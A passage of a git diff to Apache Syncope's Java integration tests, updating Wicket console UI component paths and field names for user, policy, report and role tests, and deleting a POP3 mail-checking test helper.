createLinkedAccountAndMergeWithUser() { TESTER.assertNoErrorMessage(); // Locate result in data table - Component comp = findComponentByProp("username", TAB_PANEL + SEARCH_PANEL + RESULT_DATA_TABLE, USER. - getUsername()); + Component comp = findComponentByProp("username", TAB_PANEL + SEARCH_PANEL.replace(":2:", ":0:") + + RESULT_DATA_TABLE, USER.getUsername()); TESTER.executeAjaxEvent(comp.getPageRelativePath(), Constants.ON_CLICK); // Select user - TESTER.clickLink(TAB_PANEL + SEARCH_PANEL + SELECT_USER_ACTION); + TESTER.clickLink(TAB_PANEL + SEARCH_PANEL.replace(":2:", ":0:") + SELECT_USER_ACTION); // move onto the next panel - TESTER.getComponentFromLastRenderedPage(TAB_PANEL + FORM + "view").setEnabled(false); - formTester = TESTER.newFormTester(TAB_PANEL + FORM); + TESTER.getComponentFromLastRenderedPage(TAB_PANEL + FORM.replace(":2:", ":0:") + "view").setEnabled(false); + formTester = TESTER.newFormTester(TAB_PANEL + FORM.replace(":2:", ":0:")); formTester.submit("buttons:next"); // Select a resource - comp = findComponentByProp("key", TAB_PANEL + FORM + RESOURCES_DATA_TABLE + "body:rows", "resource-ldap"); + comp = findComponentByProp("key", TAB_PANEL + FORM.replace(":2:", ":0:") + RESOURCES_DATA_TABLE + "body:rows", + "resource-ldap"); assertNotNull(comp); TESTER.executeAjaxEvent(comp.getPageRelativePath(), Constants.ON_CLICK); - TESTER.clickLink(TAB_PANEL + FORM + SELECT_RESOURCE_ACTION); + TESTER.clickLink(TAB_PANEL + FORM.replace(":2:", ":0:") + SELECT_RESOURCE_ACTION); // move onto the next panel - TESTER.getComponentFromLastRenderedPage(TAB_PANEL + FORM + "view").setEnabled(false); - formTester = TESTER.newFormTester(TAB_PANEL + FORM); + TESTER.getComponentFromLastRenderedPage(TAB_PANEL + FORM.replace(":2:", ":0:") + "view").setEnabled(false); + formTester = TESTER.newFormTester(TAB_PANEL + FORM.replace(":2:", ":0:")); formTester.submit("buttons:next"); // Finish merge - TESTER.getComponentFromLastRenderedPage(TAB_PANEL + FORM + "view").setEnabled(false); - formTester = TESTER.newFormTester(TAB_PANEL + FORM); + TESTER.getComponentFromLastRenderedPage(TAB_PANEL + FORM.replace(":2:", ":0:") + "view").setEnabled(false); + formTester = TESTER.newFormTester(TAB_PANEL + FORM.replace(":2:", ":0:")); formTester.submit("buttons:finish"); UserService userService = SyncopeConsoleSession.get().getService(UserService.class); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/ParametersITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/ParametersITCase.java index 248e670c4f2..3e060aae0ae 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/ParametersITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/ParametersITCase.java @@ -71,8 +71,7 @@ public void createParameter() { public void updateParameter() { TESTER.assertComponent("body:content:parametersPanel", WebMarkupContainer.class); - Component result = findComponentByProp(SCHEMA, "body:content:parametersPanel", - "notification.maxRetries"); + Component result = findComponentByProp(SCHEMA, "body:content:parametersPanel", "notification.maxRetries"); assertNotNull(result); TESTER.executeAjaxEvent(result.getPageRelativePath(), Constants.ON_CLICK); @@ -85,7 +84,8 @@ public void updateParameter() { formTester = TESTER.newFormTester( "body:content:parametersPanel:outerObjectsRepeater:0:outer:form"); - formTester.setValue("content:parametersCreateWizardPanel:form:view:content:attrs:0:panel:spinner", "70"); + formTester.setValue( + "content:parametersCreateWizardPanel:form:view:content:attrs:0:panel:numberTextField", "70"); formTester.submit("content:parametersCreateWizardPanel:form:buttons:finish"); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/PoliciesITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/PoliciesITCase.java index 13c18bc8d6a..cb9a6d2a8ce 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/PoliciesITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/PoliciesITCase.java @@ -42,7 +42,7 @@ public void login() { } private static void createAccountPolicy(final String name) { - TESTER.clickLink("body:content:tabbedPanel:tabs-container:tabs:0:link"); + TESTER.clickLink("body:content:tabbedPanel:tabs-container:tabs:1:link"); TESTER.clickLink("body:content:tabbedPanel:panel:container:content:add"); TESTER.assertComponent("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer", Modal.class); @@ -52,7 +52,7 @@ private static void createAccountPolicy(final String name) { FormTester formTester = TESTER.newFormTester( "body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form"); formTester.setValue("content:fields:0:field:textField", name); - formTester.setValue("content:fields:1:field:spinner", "1"); + formTester.setValue("content:fields:1:field:numberTextField", "1"); formTester.setValue("content:fields:2:field:checkboxField", true); formTester.setValue("content:fields:3:field:paletteField:recorder", "ws-target-resource-nopropagation4"); @@ -83,7 +83,7 @@ private static void createAccountPolicy(final String name) { TESTER.assertModelValue("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form" + ":content:fields:0:field:textField", name); TESTER.assertModelValue("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form" - + ":content:fields:1:field:spinner", 1); + + ":content:fields:1:field:numberTextField", 1); TESTER.assertModelValue("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form" + ":content:fields:2:field:checkboxField", true); TESTER.assertModelValue("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form" @@ -99,7 +99,7 @@ private static void createAccountPolicy(final String name) { } private static void createPasswordPolicy(final String name) { - TESTER.clickLink("body:content:tabbedPanel:tabs-container:tabs:1:link"); + TESTER.clickLink("body:content:tabbedPanel:tabs-container:tabs:4:link"); TESTER.clickLink("body:content:tabbedPanel:panel:container:content:add"); TESTER.assertComponent("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer", Modal.class); @@ -109,7 +109,7 @@ private static void createPasswordPolicy(final String name) { FormTester formTester = TESTER.newFormTester( "body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form"); formTester.setValue("content:fields:0:field:textField", name); - formTester.setValue("content:fields:1:field:spinner", "1"); + formTester.setValue("content:fields:1:field:numberTextField", "1"); formTester.setValue("content:fields:2:field:checkboxField", true); TESTER.clickLink( @@ -136,7 +136,7 @@ private static void createPasswordPolicy(final String name) { TESTER.assertModelValue("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form" + ":content:fields:0:field:textField", name); TESTER.assertModelValue("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form" - + ":content:fields:1:field:spinner", 1); + + ":content:fields:1:field:numberTextField", 1); TESTER.assertModelValue("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form" + ":content:fields:2:field:checkboxField", true); @@ -194,7 +194,7 @@ private static void createPullPolicy(final String name) { } private static void deleteAccountPolicy(final String name) { - TESTER.clickLink("body:content:tabbedPanel:tabs-container:tabs:0:link"); + TESTER.clickLink("body:content:tabbedPanel:tabs-container:tabs:1:link"); Component component = findComponentByProp("name", "body:content:tabbedPanel:panel:container:content:" + "searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", name); @@ -204,11 +204,11 @@ private static void deleteAccountPolicy(final String name) { TESTER.getRequest().addParameter("confirm", "true"); TESTER.clickLink(TESTER.getComponentFromLastRenderedPage( "body:content:tabbedPanel:panel:outerObjectsRepeater:1:outer:container:content:" - + "togglePanelContainer:container:actions:actions:actionRepeater:3:action:action")); + + "togglePanelContainer:container:actions:actions:actionRepeater:4:action:action")); TESTER.executeAjaxEvent(TESTER.getComponentFromLastRenderedPage( "body:content:tabbedPanel:panel:outerObjectsRepeater:1:outer:container:content:" - + "togglePanelContainer:container:actions:actions:actionRepeater:3:action:action"), + + "togglePanelContainer:container:actions:actions:actionRepeater:4:action:action"), Constants.ON_CLICK); assertSuccessMessage(); @@ -219,7 +219,7 @@ private static void deleteAccountPolicy(final String name) { } private static void deletePasswordPolicy(final String name) { - TESTER.clickLink("body:content:tabbedPanel:tabs-container:tabs:1:link"); + TESTER.clickLink("body:content:tabbedPanel:tabs-container:tabs:4:link"); Component component = findComponentByProp("name", "body:content:tabbedPanel:panel:container:content:" + "searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", name); @@ -229,11 +229,11 @@ private static void deletePasswordPolicy(final String name) { TESTER.getRequest().addParameter("confirm", "true"); TESTER.clickLink(TESTER.getComponentFromLastRenderedPage( "body:content:tabbedPanel:panel:outerObjectsRepeater:1:outer:container:content:" - + "togglePanelContainer:container:actions:actions:actionRepeater:3:action:action")); + + "togglePanelContainer:container:actions:actions:actionRepeater:4:action:action")); TESTER.executeAjaxEvent(TESTER.getComponentFromLastRenderedPage( "body:content:tabbedPanel:panel:outerObjectsRepeater:1:outer:container:content:" - + "togglePanelContainer:container:actions:actions:actionRepeater:3:action:action"), + + "togglePanelContainer:container:actions:actions:actionRepeater:4:action:action"), Constants.ON_CLICK); assertSuccessMessage(); @@ -254,11 +254,11 @@ private static void deletePullPolicy(final String name) { TESTER.getRequest().addParameter("confirm", "true"); TESTER.clickLink(TESTER.getComponentFromLastRenderedPage( "body:content:tabbedPanel:panel:outerObjectsRepeater:1:outer:container:content:" - + "togglePanelContainer:container:actions:actions:actionRepeater:3:action:action")); + + "togglePanelContainer:container:actions:actions:actionRepeater:4:action:action")); TESTER.executeAjaxEvent(TESTER.getComponentFromLastRenderedPage( "body:content:tabbedPanel:panel:outerObjectsRepeater:1:outer:container:content:" - + "togglePanelContainer:container:actions:actions:actionRepeater:3:action:action"), + + "togglePanelContainer:container:actions:actions:actionRepeater:4:action:action"), Constants.ON_CLICK); assertSuccessMessage(); @@ -270,6 +270,7 @@ private static void deletePullPolicy(final String name) { @Test public void read() { + TESTER.clickLink("body:content:tabbedPanel:tabs-container:tabs:1:link"); assertNotNull(findComponentByProp("name", "body:content:tabbedPanel:panel:container:content:" + "searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", "an account policy")); } @@ -450,7 +451,7 @@ public void createUpdateDeleteAccountPolicy() { FormTester formTester = TESTER.newFormTester( "body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form"); - formTester.setValue("content:fields:1:field:spinner", "2"); + formTester.setValue("content:fields:1:field:numberTextField", "2"); TESTER.clickLink( "body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:dialog:footer:inputs:0:submit"); @@ -473,7 +474,7 @@ public void createUpdateDeleteAccountPolicy() { Modal.class); TESTER.assertModelValue("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form" - + ":content:fields:1:field:spinner", 2); + + ":content:fields:1:field:numberTextField", 2); TESTER.executeAjaxEvent( "body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:dialog:footer:buttons:0:button", @@ -511,7 +512,7 @@ private static void composeDefaultAccountPolicy(final String policyDescription) "body:content:tabbedPanel:panel:outerObjectsRepeater:4:" + "outer:form:content:container:content:wizard:form"); formTester.submit("buttons:finish"); - + assertSuccessMessage(); TESTER.cleanupFeedbackMessages(); @@ -552,7 +553,7 @@ public void createUpdateDeletePasswordPolicy() { FormTester formTester = TESTER.newFormTester( "body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form"); - formTester.setValue("content:fields:1:field:spinner", "2"); + formTester.setValue("content:fields:1:field:numberTextField", "2"); TESTER.clickLink( "body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:dialog:footer:inputs:0:submit"); @@ -575,7 +576,7 @@ public void createUpdateDeletePasswordPolicy() { Modal.class); TESTER.assertModelValue("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form" - + ":content:fields:1:field:spinner", 2); + + ":content:fields:1:field:numberTextField", 2); TESTER.executeAjaxEvent( "body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:dialog:footer:buttons:0:button", @@ -699,8 +700,7 @@ public void createComposeDeletePullPolicy() { "body:content:tabbedPanel:panel:outerObjectsRepeater:1:outer:container:content:" + "togglePanelContainer:container:actions:actions:actionRepeater:2:action:action"); - TESTER.assertComponent("body:content:tabbedPanel:panel:outerObjectsRepeater:5:outer", - Modal.class); + TESTER.assertComponent("body:content:tabbedPanel:panel:outerObjectsRepeater:5:outer", Modal.class); Component modal = TESTER.getComponentFromLastRenderedPage( "body:content:tabbedPanel:panel:outerObjectsRepeater:5:outer"); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/ReportsITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/ReportsITCase.java index 4a3ef063ccc..ee0c54468b1 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/ReportsITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/ReportsITCase.java @@ -41,23 +41,25 @@ public void login() { private static void createReport(final String name) { TESTER.clickLink( - "body:content:tabbedPanel:panel:firstLevelContainer:first:container:content:add"); + "body:content:reportsPanel:firstLevelContainer:first:container:content:add"); TESTER.assertComponent( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:0:outer", Modal.class); + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:0:outer", Modal.class); FormTester formTester = TESTER.newFormTester( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:0:outer:form"); + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:0:outer:form"); formTester.setValue("content:form:view:name:textField", name); - formTester.setValue("content:form:view:template:dropDownChoiceField", "0"); + formTester.setValue("content:form:view:mimeType:textField", "application/pdf"); + formTester.setValue("content:form:view:fileExt:textField", "pdf"); + formTester.select("content:form:view:jobDelegate:dropDownChoiceField", 0); formTester.submit("content:form:buttons:next"); TESTER.assertComponent( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater" + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater" + ":0:outer:form:content:form:view:schedule:seconds:textField", TextField.class); formTester = TESTER.newFormTester( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:0:outer:form"); + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:0:outer:form"); formTester.submit("content:form:buttons:finish"); assertSuccessMessage(); @@ -70,7 +72,7 @@ private static void delete(final String name) { TESTER.clickLink("body:reportsLI:reports", false); Component result = findComponentByProp( - "name", "body:content:tabbedPanel:panel:firstLevelContainer:first:container:" + "name", "body:content:reportsPanel:firstLevelContainer:first:container:" + "content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", name); assertNotNull(result); @@ -78,39 +80,39 @@ private static void delete(final String name) { TESTER.executeAjaxEvent(result.getPageRelativePath(), Constants.ON_CLICK); TESTER.getRequest().addParameter("confirm", "true"); TESTER.clickLink( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:1:outer:" - + "container:content:togglePanelContainer:container:actions:actions:actionRepeater:5:action:action"); + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:1:outer:" + + "container:content:togglePanelContainer:container:actions:actions:actionRepeater:4:action:action"); TESTER.executeAjaxEvent(TESTER.getComponentFromLastRenderedPage( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:1:outer:" - + "container:content:togglePanelContainer:container:actions:actions:actionRepeater:5:action:action"), + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:1:outer:" + + "container:content:togglePanelContainer:container:actions:actions:actionRepeater:4:action:action"), Constants.ON_CLICK); assertSuccessMessage(); TESTER.cleanupFeedbackMessages(); assertNull(findComponentByProp( - "name", "body:content:tabbedPanel:panel:firstLevelContainer:first:container:" + "name", "body:content:reportsPanel:firstLevelContainer:first:container:" + "content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", "deleteReport")); } @Test public void read() { Component result = findComponentByProp( - "name", "body:content:tabbedPanel:panel:firstLevelContainer:first:container:" + "name", "body:content:reportsPanel:firstLevelContainer:first:container:" + "content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", "test"); assertNotNull(result); TESTER.executeAjaxEvent(result.getPageRelativePath(), Constants.ON_CLICK); TESTER.clickLink( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:1:outer:" + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:1:outer:" + "container:content:togglePanelContainer:container:actions:actions:actionRepeater:0:action:action"); TESTER.assertModelValue( - "body:content:tabbedPanel:panel:secondLevelContainer:title", "Executions of report 'test'"); + "body:content:reportsPanel:secondLevelContainer:title", "Executions of report 'test'"); result = findComponentByProp("status", - "body:content:tabbedPanel:panel:secondLevelContainer:second:executions:" + "body:content:reportsPanel:secondLevelContainer:second:executions:" + "firstLevelContainer:first:container:content:searchContainer:resultTable:tablePanel:groupForm:" + "checkgroup:dataTable", "SUCCESS"); @@ -118,44 +120,45 @@ public void read() { TESTER.executeAjaxEvent(result.getPageRelativePath(), Constants.ON_CLICK); TESTER.clickLink( - "body:content:tabbedPanel:panel:secondLevelContainer:second:executions:firstLevelContainer:" + "body:content:reportsPanel:secondLevelContainer:second:executions:firstLevelContainer:" + "first:outerObjectsRepeater:1:outer:container:content:togglePanelContainer:container:actions:" + "actions:actionRepeater:0:action:action"); TESTER.clickLink( - "body:content:tabbedPanel:panel:secondLevelContainer:second:executions:secondLevelContainer:back"); + "body:content:reportsPanel:secondLevelContainer:second:executions:secondLevelContainer:back"); - TESTER.clickLink("body:content:tabbedPanel:panel:secondLevelContainer:back"); + TESTER.clickLink("body:content:reportsPanel:secondLevelContainer:back"); assertNotNull(findComponentByProp( - "name", "body:content:tabbedPanel:panel:firstLevelContainer:first:container:" - + "content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", "reconciliation")); + "name", "body:content:reportsPanel:firstLevelContainer:first:container:" + + "content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", "test")); } @Test public void update() { createReport("updateReport"); Component result = findComponentByProp( - "name", "body:content:tabbedPanel:panel:firstLevelContainer:first:container:" + "name", "body:content:reportsPanel:firstLevelContainer:first:container:" + "content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", "updateReport"); assertNotNull(result); TESTER.executeAjaxEvent(result.getPageRelativePath(), Constants.ON_CLICK); TESTER.clickLink( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:1:outer:" + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:1:outer:" + "container:content:togglePanelContainer:container:actions:actions:actionRepeater:1:action:action"); TESTER.assertModelValue( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:" + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:" + "0:outer:dialog:header:header-label", "Edit Report updateReport"); FormTester formTester = TESTER.newFormTester( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:0:outer:form"); - formTester.setValue("content:form:view:template:dropDownChoiceField", "1"); + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:0:outer:form"); + formTester.setValue("content:form:view:mimeType:textField", "application/csv"); + formTester.setValue("content:form:view:fileExt:textField", "csv"); formTester = TESTER.newFormTester( - "body:content:tabbedPanel:panel:firstLevelContainer:first:outerObjectsRepeater:0:outer:form"); + "body:content:reportsPanel:firstLevelContainer:first:outerObjectsRepeater:0:outer:form"); formTester.submit("content:form:buttons:finish"); assertSuccessMessage(); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/RolesITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/RolesITCase.java index 4c5a64a2835..0c56240d1a2 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/RolesITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/RolesITCase.java @@ -41,8 +41,7 @@ public void login() { private static void createRole(final String name) { TESTER.clickLink("body:content:tabbedPanel:panel:container:content:add"); - TESTER.assertComponent("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer", - Modal.class); + TESTER.assertComponent("body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer", Modal.class); FormTester formTester = TESTER.newFormTester( "body:content:tabbedPanel:panel:outerObjectsRepeater:0:outer:form"); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/UsersITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/UsersITCase.java index 8e77078fb3f..0a30dc5183f 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/UsersITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/UsersITCase.java @@ -23,8 +23,8 @@ import static org.junit.jupiter.api.Assertions.assertNull; import java.util.Calendar; -import org.apache.syncope.client.console.wicket.markup.html.form.IndicatingOnConfirmAjaxLink; import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.markup.html.form.IndicatingOnConfirmAjaxLink; import org.apache.wicket.Component; import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.markup.html.form.TextField; @@ -107,86 +107,6 @@ public void clickToCloneUser() { formTester.submit("buttons:cancel"); } - @Test - public void editRelationships() { - TESTER.clickLink("body:realmsLI:realms", false); - TESTER.clickLink("body:content:body:container:content:tabbedPanel:tabs-container:tabs:1:link"); - - Component component = findComponentByProp("username", CONTAINER - + ":searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", "puccini"); - assertNotNull(component); - - TESTER.executeAjaxEvent(component.getPageRelativePath(), Constants.ON_CLICK); - TESTER.clickLink(TAB_PANEL - + "outerObjectsRepeater:1:outer:container:content:togglePanelContainer:container:" - + "actions:actions:actionRepeater:0:action:action"); - - TESTER.assertComponent(TAB_PANEL - + "outerObjectsRepeater:0:outer:form:content:form:view:username:textField", - TextField.class); - - FormTester formTester = TESTER.newFormTester(TAB_PANEL - + "outerObjectsRepeater:0:outer:form:content:form"); - assertNotNull(formTester); - - formTester.submit("buttons:next"); - - formTester = TESTER.newFormTester(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form"); - assertNotNull(formTester); - formTester.submit("buttons:next"); - - formTester = TESTER.newFormTester(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form"); - assertNotNull(formTester); - formTester.submit("buttons:next"); - - formTester = TESTER.newFormTester(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form"); - assertNotNull(formTester); - formTester.submit("buttons:next"); - - formTester = TESTER.newFormTester(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form"); - assertNotNull(formTester); - formTester.submit("buttons:next"); - - formTester = TESTER.newFormTester(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form"); - assertNotNull(formTester); - formTester.submit("buttons:next"); - - formTester = TESTER.newFormTester(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form"); - assertNotNull(formTester); - formTester.submit("buttons:next"); - - TESTER.executeAjaxEvent(TAB_PANEL - + "outerObjectsRepeater:0:outer:form:content:form:view:relationships:actions:" - + "actionRepeater:0:action:action", Constants.ON_CLICK); - - formTester = TESTER.newFormTester(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form"); - assertNotNull(formTester); - - formTester.setValue("view:relationships:specification:type:dropDownChoiceField", "1"); - TESTER.executeAjaxEvent(TAB_PANEL - + "outerObjectsRepeater:0:outer:form:content:form:view:relationships:" - + "specification:type:dropDownChoiceField", Constants.ON_CHANGE); - // The ON_CHANGE above should enable this component, but it doesn't; doing it by hand - Component otherType = findComponentById( - TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form:view:relationships:specification", - "otherType"); - assertNotNull(otherType); - otherType.setEnabled(true); - - formTester.setValue("view:relationships:specification:otherType:dropDownChoiceField", "PRINTER"); - TESTER.executeAjaxEvent(TAB_PANEL - + "outerObjectsRepeater:0:outer:form:content:form:view:relationships:" - + "specification:otherType:dropDownChoiceField", Constants.ON_CHANGE); - - component = findComponentByProp("name", TAB_PANEL + "outerObjectsRepeater:" - + "0:outer:form:content:form:view:relationships:specification:searchPanelContainer:searchPanel:" - + "searchResultPanel:container:content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:" - + "dataTable:body:rows:1:cells:2:cell", "Canon MF 8030cn"); - assertNotNull(component); - - formTester.submit("buttons:cancel"); - } - @Test public void editUser() { TESTER.clickLink("body:realmsLI:realms", false); @@ -302,7 +222,7 @@ public void editUserMembership() { Constants.ON_CLICK); formTester.setValue("view:membershipsPlainSchemas:0:membershipPlainSchemas:tabs:0:body:content:" - + "schemas:0:panel:spinner", "1"); + + "schemas:0:panel:numberTextField", "1"); formTester.submit("buttons:next"); formTester = TESTER.newFormTester(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form"); @@ -497,11 +417,11 @@ public void editUserMemberships() { // ... remove all values from multivalue field TESTER.executeAjaxEvent(TAB_PANEL + "outerObjectsRepeater:0:" + "outer:form:content:form:view:membershipsPlainSchemas:0:membershipPlainSchemas:tabs:0:body:" - + "content:schemas:5:panel:multiValueContainer:innerForm:content:view:1:drop", + + "content:schemas:5:panel:multiValueContainer:innerForm:content:view:1:panelMinus:drop", Constants.ON_CLICK); TESTER.executeAjaxEvent(TAB_PANEL + "outerObjectsRepeater:0:" + "outer:form:content:form:view:membershipsPlainSchemas:0:membershipPlainSchemas:tabs:0:body:" - + "content:schemas:5:panel:multiValueContainer:innerForm:content:view:0:drop", + + "content:schemas:5:panel:multiValueContainer:innerForm:content:view:0:panelMinus:drop", Constants.ON_CLICK); formTester = TESTER.newFormTester(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:form"); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AbstractNotificationTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AbstractNotificationTaskITCase.java deleted file mode 100644 index ca969892756..00000000000 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AbstractNotificationTaskITCase.java +++ /dev/null @@ -1,98 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.fit.core; - -import static org.awaitility.Awaitility.await; -import static org.junit.jupiter.api.Assertions.assertNotNull; - -import java.io.InputStream; -import java.util.Properties; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.atomic.AtomicReference; -import javax.mail.Flags; -import javax.mail.Folder; -import javax.mail.Message; -import javax.mail.Session; -import javax.mail.Store; -import org.junit.jupiter.api.BeforeAll; - -public abstract class AbstractNotificationTaskITCase extends AbstractTaskITCase { - - private static final String POP3_HOST = "localhost"; - - private static int POP3_PORT; - - @BeforeAll - public static void conf() { - Properties props = new Properties(); - try (InputStream propStream = AbstractNotificationTaskITCase.class.getResourceAsStream("/test.properties")) { - props.load(propStream); - } catch (Exception e) { - LOG.error("Could not load /test.properties", e); - } - - POP3_PORT = Integer.parseInt(props.getProperty("testmail.pop3port")); - assertNotNull(POP3_PORT); - } - - private static boolean pop3(final String sender, final String subject, final String mailAddress) throws Exception { - boolean found = false; - Store store = null; - try { - store = Session.getDefaultInstance(System.getProperties()).getStore("pop3"); - store.connect(POP3_HOST, POP3_PORT, mailAddress, mailAddress); - - Folder inbox = store.getFolder("INBOX"); - assertNotNull(inbox); - inbox.open(Folder.READ_WRITE); - - Message[] messages = inbox.getMessages(); - for (Message message : messages) { - if (sender.equals(message.getFrom()[0].toString()) && subject.equals(message.getSubject())) { - found = true; - message.setFlag(Flags.Flag.DELETED, true); - } - } - - inbox.close(true); - } finally { - if (store != null) { - store.close(); - } - } - return found; - } - - protected static void verifyMail( - final String sender, - final String subject, - final String mailAddress, - final int maxWaitSeconds) throws Exception { - - AtomicReference read = new AtomicReference<>(false); - await().atMost(maxWaitSeconds, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { - try { - read.set(pop3(sender, subject, mailAddress)); - return read.get(); - } catch (Exception e) { - return false; - } - }); - } -} diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AbstractTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AbstractTaskITCase.java index 1d39e252352..53b0d7f374a 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AbstractTaskITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AbstractTaskITCase.java @@ -57,7 +57,7 @@ public abstract class AbstractTaskITCase extends AbstractITCase { /** * Remove initial and synchronized users to make test re-runnable. */ - protected void removeTestUsers() { + protected static void removeTestUsers() { for (int i = 0; i < 10; i++) { String cUserName = "test" + i; try { diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AnyObjectITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AnyObjectITCase.java index c7ddf8fca27..cdc7d8738d3 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AnyObjectITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/AnyObjectITCase.java @@ -21,6 +21,7 @@ import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.fail; @@ -33,10 +34,10 @@ import org.apache.syncope.common.lib.SyncopeConstants; import 